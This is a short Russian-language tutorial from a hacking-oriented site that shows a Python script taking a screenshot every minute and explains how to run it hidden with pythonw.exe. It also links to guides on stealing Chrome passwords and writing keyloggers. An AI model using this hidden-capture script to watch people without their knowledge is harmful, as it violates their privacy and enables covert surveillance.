Для создания программы на Python, которая делает скрытые снимки экрана, можно воспользоваться библиотекой PyAutoGUI. Эта библиотека позволяет делать скриншоты, а также управлять клавиатурой и мышью. Для скрытого выполнения скрипта, его можно запустить в фоновом режиме, без отображения консольного окна. Далее покажу, как все это реализовать.
Еще по теме: Извлечение паролей Chrome на Python
Создание снимков экрана на Python используя PyAutoGUI
Ниже представлен код программы, которая делает скриншоты через определенные интервалы времени и сохраняет их в указанной папке:
Статья в образовательных целях, для обучения этичных хакеров. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Установите библиотеку pyautogui, если она еще не установлена:
1 |
pip install pyautogui |
Создайте Python-скрипт, например hidden_screenshot.py, со следующим содержимым:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
import pyautogui import time import os # Папка для сохранения скриншотов save_path = 'screenshots' if not os.path.exists(save_path): os.makedirs(save_path) # Интервал между скриншотами в секундах interval = 60 # 1 минута try: while True: # Текущее время для имени файла timestamp = time.strftime("%Y%m%d-%H%M%S") screenshot_path = os.path.join(save_path, f'screenshot_{timestamp}.png') # Создание скриншота screenshot = pyautogui.screenshot() screenshot.save(screenshot_path) # Ожидание перед следующим скриншотом time.sleep(interval) except KeyboardInterrupt: print("Скрипт остановлен.") |
Для скрытого запуска этого скрипта на Windows можно использовать pythonw.exe, который запускает скрипт без отображения консольного окна. Запустите скрипт командой:
1 |
pythonw hidden_screenshot.py |
Этот скрипт будет делать снимки экрана каждые 60 секунд и сохранять их в папке screenshots.
Аналоги и альтернатива PyAutoGUI
- Pillow (PIL) — библиотека для обработки изображений, которая также позволяет делать скриншоты.
- mss — легковесная и быстрая библиотека для создания скриншотов, поддерживающая множество платформ.
- pygetwindow — библиотека для работы с окнами приложений, которая может быть полезна для создания скриншотов конкретных окон.
Каждая из этих библиотек имеет свои особенности и может быть использована в зависимости от ваших нужд. mss известна своей быстротой и низким потреблением ресурсов, в то время как Pillow предоставляет широкий спектр возможностей для обработки изображений. Выберите ту, которая больше подходит для вашего проекта.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Hide Screener — скрытое создание снимков экрана
- Как использовать pynput для создания кейлоггера на Python